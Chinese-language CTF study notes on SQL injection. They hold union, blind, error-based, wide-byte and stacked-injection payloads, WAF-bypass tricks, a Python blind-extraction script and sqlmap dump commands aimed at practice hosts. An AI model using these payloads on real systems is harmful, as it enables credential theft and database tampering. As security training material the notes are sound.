sql注入
一、sql注入解题技巧
1.解题流程
提示:先找到回显点,如果有回显按照如下步骤获取信息
①找字段数
②查库名
③查表名
④查字段
⑤查内容
-- 查版本
and 1=2 union select 1,version()
#原理:and 1=2显然不成立,则不会执行页面的正常select语句,这时再使用联合查询,页面就只会执行union后面的内容,保证页面只显示我们需要的信息,也就是数据库版本version()
-- 查数据库名(所有)
and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)200;
group_concat(字段) -- 他会将字段下的所有内容连接成一个字符串
#原理:基本同上,只是用到了information_schema数据库中的schemata表,这个表包含了所有数据库(schema)的信息(information),比如这里的schema_name字段下就包含了所有数据库的名字
-- 当前数据库
and 1=2 union select 1,database();
-- 查表名(all)
and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database());
#原理:information_schema.tables表中是所有表的信息,table_name字段下是所有表的名字。该语句会查询当前数据库中所有表的名字
-- 查字段名
and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin');
#原理:information_schema.columns表中是所有字段(columns)的信息,column_name字段下是所有字段名字,该语句会查询当前数据库表名为'admin'的所有字段名
-- 查字段内容
and 1=2 union select 1,(select concat(username,',',password) from admin);
注意报错:
1.Error Code: 1242. Subquery returns more than 1 row
当你在查询中使用了子查询,并且这个子查询返回了多个结果(多于一行),而你尝试将这个结果与主查询的其他部分进行比较或处理时,就会发生这个错误。
2.技巧拆解
①判断注入点:
select * from test.t1 where name='1'or 1=1 ;#';
②判断表的字段数:
select * from test.t1 order by +1到n(直到发现异常,记录此时的n,则说明表中共有n-1个字段)
select * from test.t1 where id=1 union select 1,1...,1(不断增加1的个数,直到页面正常,则此时1的个数就是字段数)
③判断回显:
-- 有些页面只会调取部分数据库中的信息回显,这时可以通过limit来切换显示的内容
select ... limit x,1-n (从1开始到n,直到页面不在发生变化,此时n就是页面会显示多少条内容,改变x来切换到想看的内容)
④绕过
最基础绕过:
'#'在网页编码时会报错,可以用%23代替,也可以用--+代替
其他绕过技巧:
1.注释符号绕过
-- 注释内容
# 注释内容
/*注释内容*/
;
2.大小写绕过
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串,区分大小写。
UniOn
SeleCt
3.内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
select * from cms_users where userid=1 union /*!select*/ 1,2,3;
4.双写绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求
" admin' && 1=2 ununionion selselectect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3# "
5.编码绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过:
① 1+and+1=2两次url全编码:1+%25%36%31%25%36%65%25%36%34+1=2
# php脚本:
<?php
function ue($str) {
$encoded = '';
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$char = $str[$i];
$encoded .= '%' . strtoupper(dechex(ord($char)));
}
return $encoded;
}
$str = "xxx";
$encoded_str = ue(ue($str));
echo $encoded_str;
② ascii编码绕过:Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
③ 16进制绕过:select * from users where username = test1;
select * from users where username = 0x7465737431;
④ unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
6.<>大于小于号绕过
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。
greatest(n1, n2, n3…):返回n中的最大值 或least(n1,n2,n3…):返回n中的最小值
select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;
7.空格绕过
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
%09
8.对or and xor not 绕过
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
sql_mode=PIPES_AS_CONCAT来转换操作符的作用
mssql中||表示连接操作符,不表示或的逻辑。(MySQL连接字符操作符是一种特殊的符号,用于连接两个字符串。在MySQL中,连接字符操作符通常表示为“||”,“+”或“CONCAT”函数。)
set sql_mode=PIPES_AS_CONCAT(改变||的作用)
9.对等号=绕过
10.对单引号的绕过
使用十六进制
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:select column_name from information_schema.tables where table_name="users"
遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
其他方法:宽字节
11.对逗号的绕过
sql盲注时常用到以下的函数:
---substr():
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后
substring()用法和substr()一样
----mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
---left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
---limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
---ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符
#对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
12.过滤函数绕过
https://blog.csdn.net/weixin_42478365/article/details/119300607
3.报错
SQLSTATE
3.常用函数:
1. 计算类
-- 函数:
avg('字段')----平均数
sum('字段')------求和
max/min('字段')------求最值
distinct ('字段')-----去除重复项
count('字段')----计算字段下的行数
-- 其他
round() ---- 对某个数值(字段)保留指定小数位数(四舍五入)
语法:round(value,n)
参数说明
value:数值。可为储存数值的字段。
n:小数点位数,为自然数。
说明:①用法与excel的round函数相似。
②数值四舍五入,不够用0来凑。
例子:
#保留2301.15476的两位小数。
select round(2301.15476,2)
#结果为=》2301.15
2 .字符类
sleep函数:sleep(t)运行时延迟t秒输出页面内容。
substr('xxx',i,n) 分割字符串函数:(替代函数mid('xxx',i,n))(类似函数left('xxx',n)从左往右截取n个字符)。函数表示从字符串第i个字符开始,取n个字符然后输出,如果不写n的值则默认输出到最后。
length('xxx'):查询字符串长度。
ascii('x'):返回一个字符的ascii码(替代函数:ord('x'))。
五、实战演示
0.类型判断:
①数字型:查询语句中条件判断的注入点为整型
②字符型:查询语句中条件判断的注入点为字符型
一般字符型也分为单引号注入和双引号注入,闭合方式不同
括号闭合:
有些题目除了在参数外加引号外还会加括号,例如:
select ... where id = ('$id');
因此闭合时应该是:?id= 1')#
1.GET型注入:
输入?id=1 正常回显
输入?id=1'
任然正常回显
输入?id=1"
报错:位置在【 "1"") limit 0,1 】处,说明语句为:
select ... where id = ("$id") limit 0,1;
闭合方式:?id=1")--+
2.POST型注入:
什么事post注入?
答:根据网页传递参数的方式为post,注入点在post数据包中就是post型注入。
使用burp抓包,得到了post数据包
将数据包放到【repeater】中
【send】:在应答包中显示【该用户不存在或账户未激活】的提示信息
判断注入点已经注入类型:
说明存在该注入点,且注入类型是字符类型(加入单引号闭合,出现报错,说明不是字符型)
接下来就是判断字段数,判断数据库名称,表名,字段名等等信息
3.布尔盲注:
联合注入是需要页面有回显位,如果数据不显示只有对错页面显示我们可以选择布尔盲注。
布尔盲注主要用到length(),ascii() ,substr()这三个函数
-- 注意:布尔盲注适合页面对于错误和正确结果有不同反应的题目
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
python盲注脚本
import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
for j in range(32, 128):
#time.sleep(0.1)
payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
response = requests.post(url=url, data={'id':payload.format(m=i,n=j)}) #这里是post提交
if response.text.find('girl') == -1:
result += chr(j)
print(j)
break
print("正在注出flag:", result)
print("flag的值为:", result)
4.时间盲注:
-- 页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数
-- sleep函数:sql时间盲注
用法:sleep(t)运行时延迟t秒输出页面内容
select * from test.t1;
select * from test.t1 where name='张三' or sleep(1);
# t1表中有4条数据,我们用or添加sleep函数表示如果name!='张三'则延迟1秒,所以会延迟3秒,因此我们断定有三条信息不符合name='张三'
select * from test.t1 where name='张三' and sleep(1);
# 语句执行后name=’张三‘有值则延迟1秒,否则不延迟。以此判断盲注时条件是否成立。
if条件判断:
if(expr1,expr2,expr3)
expr1值为TRUE,则返回值为expr2
expr1值为FALSE,则返回值为expr3
用法:
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
用python写脚本:
构造payload
payload=url+"?title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2)--+".format(i,j)
5.cookie注入:
什么事cookie注入?
该页面的数据库管理系统为access数据库,第一步还是判断注入点:id=171数字型
用order by判断出字段数为10
用联合注入,找出回显点:
-- access联合查询与mysql不同
select * from aboutus where id=1 union select 1,...,1 from admin
# access默认将union后的查询内容放在表的最前面(mysql是最后面)
exists(select xxx from admin)
# 判断admin表中的xxx字段是否存在
但是页面有拦截
右键页面检查,找到存储里的cookie,修改里面的名称和值,比如刚才的id=171
刷新页面:出现id=171的信息,说明网站可以cookie传参数
这样操作比较繁琐,火狐浏览器中有cookie插件可以帮助简单化这个过程 cookie quick manager
(Domains下是域名,Cookie下是选中域名的cookie,Details下可以上传cookie信息)
注意输入命令时要用加号代替空格,否则可能出现一些问题
由此可以确认回显点显示的位置,比如数字7和8的位置分别在,发布者和发布时间后
查询用户名和密码字段
密码好像有加密(MD5)
放入解密网站中解密 CMD5
6.报错注入:
该注入需要用到一个数据库函数:
-- extractvalue(XML_document,XPath_string)
-- 爆版本
a' and (extractvalue(1,concat(0x5c,version(),0x5c)))# '
-- 爆数据库
a' and (extractvalue(1,concat(0x5c,database(),0x5c)))# '
-- 爆表名
a' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# '
-- 爆字段名
a' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# '
-- 爆字段内容该格式针对mysql数据库
a' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# '
-- 爆字段内容
a' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# '
-- 这段注入方式可以有效应对关键词过滤(0x7e相当于~,0x5c相当于\,都属于一种非法路径,这里用十六进制防止过滤)
-- updatexml(XML_document, XPath_string, new_value)
-- 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
1.数据库名
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#'
2.表名
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#'
-- 注意可能报错,more than one row
-- 解决方法,并列成一行 group_concat(table_name)
3.列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#'
4.flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#'
admin'or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1))#'
-- group by报错注入
1.爆数据库
and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#
2.爆数据库版本
and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#
3.通过修改limit后面数字一个一个爆表
and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#
4.爆出所有表
and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#
5.爆出所有字段名
and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#
6.爆出所有字段名
and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#
7.爆出该账户的密码
and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#
https://blog.csdn.net/m0_53065491/article/details/121893986
7.宽字节注入
程序员为了防止sql注入,对用户输入中的单引号(’)进行处理,在单引号前加上斜杠(\)进行转义,这样被处理后的sql语句中,单引号不再具有‘作用’,仅仅是‘内容’而已。
宽字节注入是sql注入的一种手段,利用mysql使用GBK编码(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\。
1.%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成%df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的 ’ 符号在外面:
id=-1%df%27union select 1,user(),3--+
2.将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
(1).replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。
(2).addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
8.堆叠注入
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
使用preg_match函数过滤了大量注入的关键字
堆叠注入:在一行中分别执行多个sql语句,不同语句用分号隔开
例:【()内为源代码,在网页中不显示】
(select*from xxx where id=)1';show databases;#
9.sql预编译
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
例:
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
经典赛题:
10.子查询
https://blog.csdn.net/LMY0210/article/details/126345475
11.异或盲注
原理:
-- 利用if()函数返回值进行异或盲注
12.脚本测试
例如--爆破库名:
get_database="?id=-1/**/or/**/ascii(substr(database()from/**/%s/**/for/**/1))=%s"
payload=URL+sql%(j,i)
13.sprintf注入
14.无列名SQL注入攻击
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据是来自information_schema和performance_chema,因其本身是无法存储数据的,所以可以通过其中的schema_auto_increment_columns来获取表名。其用法是:sys.schema_auto_increment_columns
注入mysql后在默认情况下可以替代information_schema库的方法
schema_auto_increment_columns:该视图的作用简单总结为用于对表自增的ID进行监控。
虚拟表格
(1)当我们 select 1,2,3 的时候,此时页面就如一个虚拟的表格,列名为1,2,3。
(2)我们查询列名为1,2,3的数据。
(3)第一行是我们所查询到的1,2,3后面所紧接的表中数据。
从虚拟表中查一列信息
select `2` from (select 1,2,3 union select * from student)a
将select 1,2,3的结果拼接到select * from student 的结果后提取第二列信息。select 1,2,3需要根据表的字段而定,也就是说当您进行查询时,语句的字段数必须保持和指定表中的字段数相同,不能增加或减少,否则将会出现报错告示。
语句的最后一个字母是别名,多表查询,或者查询的时候产生新的表时需要在语句末写别名,因为mysql要求每一个派生出来的表都必须有一个自己的别名:“as name”或者“name”,这里的"a"就是"name"
如图所示,您就可以查询到第二列的数据。在虚拟表中,列名均是1,2,3,所以我们在查询语句中不能直接使用 2,而是要使用 `2`, 只有通过此方式才能够获取到列名。
15.二次注入
二次注入是一种特殊的SQL注入攻击方式,其工作原理在于将用户的输入数据经过特定的处理后再存储到数据库中,最后再从数据库中将这个处理过的数据拿出来用于执行SQL查询语句。这种注入方式相比普通的SQL注入来说,具有更高的技术要求和利用门槛。在某些情况下,如果数据库未对存入的数据进行适当的过滤,并且允许这些数据以某种形式进入SQL查询语句中,那么二次注入可能就会被用来实现攻击。
例如,在一个SQL注入实验环境中,如果存在一个名为"admin"的用户,并且该用户拥有密码"admin",那么通过二次注入,攻击者可能会尝试更新这个用户的密码为自己的密码。这可以通过修改现有的SQL查询语句来实现,比如原来的语句可能是
`UPDATE users SET PASSWORD='$pass' WHERE username='$username' AND password='$curr_pass'`;
而通过二次注入,攻击者可以将用户名替换为一个特殊字符,如`admin'#`,从而使得更新的SQL查询语句变为
`UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' AND password='$curr_pass'`。
这样,当原用户尝试登录时,他们会发现他们的密码已经被更改了,但实际上这是由攻击者所为。
16.修改表结构
例题:supersqli
payload=1';rename table `words` to `a`;
rename table `1919810931114514` to `words`; alter table words add `id` int(5) auto_increment,add primary key(id); --+
六、SqlMap
以攻防世界”inget“例题为演示:
先用sqlmap大概检查一下
sqlmap -u "http://61.147.171.105:54285/?id=1"
尝试列出所以数据库
sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs
可以看到有一个名为cyber的数据库,我们指定列出它的表
列出指定数据库的表
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables
可以看到这个数据库里只有一个表,且和数据库同名
我们继续列出指定表的字段
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns
尝试获取指定字段中的数据
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C id,pw --dump
拿到flag
cyberpeace{818e277716501adc71a98b501c4d7a99}
常见参数
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--all 列举所有可访问的数据(不推荐)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导